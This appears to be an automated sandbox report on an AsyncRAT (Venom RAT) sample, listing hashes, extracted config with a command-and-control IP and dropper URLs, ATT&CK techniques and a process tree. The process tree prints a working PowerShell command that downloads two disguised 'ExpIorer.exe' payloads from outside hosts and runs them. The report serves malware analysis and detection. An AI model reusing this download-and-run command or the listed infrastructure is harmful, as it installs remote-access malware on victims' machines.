asyncrat | a16509e5f47dfc723e8ac146aef92046a65551452c9692d443dfa64fcc879392

Analysis

max time kernel
91s
max time network
143s
platform
windows10-2004_x64
resource
win10v2004-20240412-en
resource tags

arch:x64arch:x86image:win10v2004-20240412-enlocale:en-usos:windows10-2004-x64system
submitted
18/04/2024, 01:45

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
a16509e5f47dfc723e8ac146aef92046a65551452c9692d443dfa64fcc879392.exe
Size 75KB
Sample240418-b6vrjagh8z
SHA256 a16509e5f47dfc723e8ac146aef92046a65551452c9692d443dfa64fcc879392
MD5 2e5d5abda2f010c8c2cceeb6ff027cc3
SHA1 43b36f81335b342de747e4761af0474dc16d6399
SHA512 9f58d9cfb31f924bd6072696868e93808a7b5dc21b13df5db979e98b11ae3a20cfd28cf7c79cdf493bf3e7b4386f95c0f6d1d7a8aff408d945fb19392a012c91
SSDEEP 1536:fukUsOSeCX/PMRkYKt2OlY6H1bf/iaVbkzkiLVclN:fXU/jAPMRkYv4jH1bfxVbk7BY
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

asyncrat default discovery rat

Malware Config

Extracted

Language

Deobfuscated

Source

URLs

exe.dropper
http://xcu.exgaming.click

Extracted

Language

Deobfuscated

Source

URLs

exe.dropper
http://xcu5.exgaming.click

Extracted

Family

asyncrat

Version

Venom RAT + HVNC + Stealer + Grabber v6.0.3

Botnet

Default

51.254.53.24:4449

Mutex

hoyqzolrquxmbnzaee

Attributes

delay
1
install
false
install_folder
%AppData%

aes.plain

Signatures

AsyncRat
AsyncRAT is designed to remotely monitor and control other computers written in C#.
rat asyncrat

Detects executables attemping to enumerate video devices using WMI 1 IoCs

resource	yara_rule
behavioral2/memory/1496-0-0x0000000000C80000-0x0000000000C98000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_WMI_EnumerateVideoDevice

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2288054676-1871194608-3559553667-1000\Control Panel\International\Geo\Nation	a16509e5f47dfc723e8ac146aef92046a65551452c9692d443dfa64fcc879392.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 11 IoCs

pid	Process
3720	powershell.exe
3720	powershell.exe
1496	a16509e5f47dfc723e8ac146aef92046a65551452c9692d443dfa64fcc879392.exe
1496	a16509e5f47dfc723e8ac146aef92046a65551452c9692d443dfa64fcc879392.exe
4180	powershell.exe
4180	powershell.exe
4992	powershell.exe
4992	powershell.exe
736	powershell.exe
736	powershell.exe
1496	a16509e5f47dfc723e8ac146aef92046a65551452c9692d443dfa64fcc879392.exe

Suspicious use of AdjustPrivilegeToken 5 IoCs

description	pid	Process
Token: SeDebugPrivilege	1496	a16509e5f47dfc723e8ac146aef92046a65551452c9692d443dfa64fcc879392.exe
Token: SeDebugPrivilege	3720	powershell.exe
Token: SeDebugPrivilege	4180	powershell.exe
Token: SeDebugPrivilege	4992	powershell.exe
Token: SeDebugPrivilege	736	powershell.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
1496	a16509e5f47dfc723e8ac146aef92046a65551452c9692d443dfa64fcc879392.exe

Suspicious use of WriteProcessMemory 10 IoCs

description	pid	Process	procid_target
PID 1496 wrote to memory of 4636	1496	a16509e5f47dfc723e8ac146aef92046a65551452c9692d443dfa64fcc879392.exe	84
PID 1496 wrote to memory of 4636	1496	a16509e5f47dfc723e8ac146aef92046a65551452c9692d443dfa64fcc879392.exe	84
PID 4636 wrote to memory of 3720	4636	cmd.exe	86
PID 4636 wrote to memory of 3720	4636	cmd.exe	86
PID 4636 wrote to memory of 4180	4636	cmd.exe	87
PID 4636 wrote to memory of 4180	4636	cmd.exe	87
PID 4636 wrote to memory of 4992	4636	cmd.exe	91
PID 4636 wrote to memory of 4992	4636	cmd.exe	91
PID 4636 wrote to memory of 736	4636	cmd.exe	93
PID 4636 wrote to memory of 736	4636	cmd.exe	93

C:\Users\Admin\AppData\Local\Temp\a16509e5f47dfc723e8ac146aef92046a65551452c9692d443dfa64fcc879392.exe
"C:\Users\Admin\AppData\Local\Temp\a16509e5f47dfc723e8ac146aef92046a65551452c9692d443dfa64fcc879392.exe"
1⤵
- Checks computer location settings
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1496
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c powershell (New-Object System.Net.WebClient).DownloadFile('http://xcu.exgaming.click', '%Temp%\\ExpIorer.exe') & powershell (New-Object System.Net.WebClient).DownloadFile('http://xcu5.exgaming.click', '%Temp%\\ExplIorer.exe') & powershell Start-Process -FilePath '%Temp%\\ExpIorer.exe' & powershell Start-Process -FilePath '%Temp%\\ExplIorer.exe' & exit
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4636
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell (New-Object System.Net.WebClient).DownloadFile('http://xcu.exgaming.click', 'C:\Users\Admin\AppData\Local\Temp\\ExpIorer.exe')
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3720
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell (New-Object System.Net.WebClient).DownloadFile('http://xcu5.exgaming.click', 'C:\Users\Admin\AppData\Local\Temp\\ExplIorer.exe')
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4180
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Start-Process -FilePath 'C:\Users\Admin\AppData\Local\Temp\\ExpIorer.exe'
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4992
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell Start-Process -FilePath 'C:\Users\Admin\AppData\Local\Temp\\ExplIorer.exe'
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:736

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 2KB
SHA256 3b0068d29ae4b20c447227fbf410aa2deedfef6220ccc3f698f3c7707c032c55
MD5 2f57fde6b33e89a63cf0dfdd6e60a351
SHA1 445bf1b07223a04f8a159581a3d37d630273010f
SHA512 42857c5f111bfa163e9f4ea6b81a42233d0bbb0836ecc703ce7e8011b6f8a8eca761f39adc3ed026c9a2f99206d88bab9bddb42da9113e478a31a6382af5c220
MD5 SHA1 SHA512

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 b1a00fcea37b39a5556eea46e50711f7713b72be077a73cb16515ca3538d6030
MD5 b66db53846de4860ca72a3e59b38c544
SHA1 2202dc88e9cddea92df4f4e8d83930efd98c9c5a
SHA512 72eff4ae1d541c4438d3cd85d2c1a8c933744b74c7a2a4830ffe398fee88f1a8c5b241d23e94bcdf43b4be28c2747b331a280a7dc67ab67d8e72c6569f016527
MD5 SHA1 SHA512

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 0554687e2254846915ac9d734989c77cfc0417bdd6607dd64dde2fb2dcc55854
MD5 b0cfdab278bf3db6d14817b1e701e4ee
SHA1 7ec7d56340dcaff7b6bf3d0e4b35be5bd57e87b8
SHA512 40a621b3ef79c9f74c937b4f04ef18bcc78bc7436c2035885bd8651b4ffc072152c6e87087be432c43860256c5e89ef33d57bb27822d36f18b8b9bda9208d4ca
MD5 SHA1 SHA512

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 cabd168d058cc355f41ccc602554ae350212e9bd79ff19e2ee0da1b6268155a4
MD5 7cf51fd9a798b70dcc75418df6ab7709
SHA1 36565372f526bae197a5d1117032228ebd35b637
SHA512 b78f414a2a45acde1a705e2731aba09f469fca36cfd171c11334f03f08ef60af3a33d2c907959017e4ec4777cea716b96d931ad36ecc809c81308cee7bb9a37e
MD5 SHA1 SHA512

Submit Download

__PSScriptPolicyTest_hfyf1ppu.sba.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_hfyf1ppu.sba.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
MD5 SHA1 SHA512

Submit Download

memory/736-68-0x00000223FCB60000-0x00000223FCB70000-memory.dmp

Download

memory/736-55-0x00007FFE2D560000-0x00007FFE2E021000-memory.dmp

Download

memory/736-56-0x00000223FCB60000-0x00000223FCB70000-memory.dmp

Download

memory/736-70-0x00007FFE2D560000-0x00007FFE2E021000-memory.dmp

Download

memory/736-62-0x00000223FCB60000-0x00000223FCB70000-memory.dmp

Download

memory/1496-72-0x000000001BA90000-0x000000001BAA0000-memory.dmp

Download

memory/1496-0-0x0000000000C80000-0x0000000000C98000-memory.dmp

Download

memory/1496-71-0x000000001BA90000-0x000000001BAA0000-memory.dmp

Download

memory/1496-74-0x000000001BA90000-0x000000001BAA0000-memory.dmp

Download

memory/1496-3-0x000000001BA90000-0x000000001BAA0000-memory.dmp

Download

memory/1496-35-0x00007FFE2D560000-0x00007FFE2E021000-memory.dmp

Download

memory/1496-1-0x00007FFE2D560000-0x00007FFE2E021000-memory.dmp

Download

memory/1496-52-0x000000001BA90000-0x000000001BAA0000-memory.dmp

Download

memory/3720-19-0x00007FFE2D560000-0x00007FFE2E021000-memory.dmp

Download

memory/3720-16-0x000001DBAA460000-0x000001DBAA470000-memory.dmp

Download

memory/3720-13-0x000001DB91FB0000-0x000001DB91FD2000-memory.dmp

Download

memory/3720-14-0x00007FFE2D560000-0x00007FFE2E021000-memory.dmp

Download

memory/3720-15-0x000001DBAA460000-0x000001DBAA470000-memory.dmp

Download

memory/4180-34-0x00000246A0280000-0x00000246A0290000-memory.dmp

Download

memory/4180-37-0x00000246A0390000-0x00000246A05AC000-memory.dmp

Download

memory/4180-23-0x00000246A0280000-0x00000246A0290000-memory.dmp

Download

memory/4180-22-0x00000246A0280000-0x00000246A0290000-memory.dmp

Download

memory/4180-21-0x00007FFE2D560000-0x00007FFE2E021000-memory.dmp

Download

memory/4180-38-0x00007FFE2D560000-0x00007FFE2E021000-memory.dmp

Download

memory/4992-50-0x0000019A33E90000-0x0000019A33EA0000-memory.dmp

Download

memory/4992-54-0x00007FFE2D560000-0x00007FFE2E021000-memory.dmp

Download

memory/4992-45-0x00007FFE2D560000-0x00007FFE2E021000-memory.dmp

Download

memory/4992-51-0x0000019A33E90000-0x0000019A33EA0000-memory.dmp

Download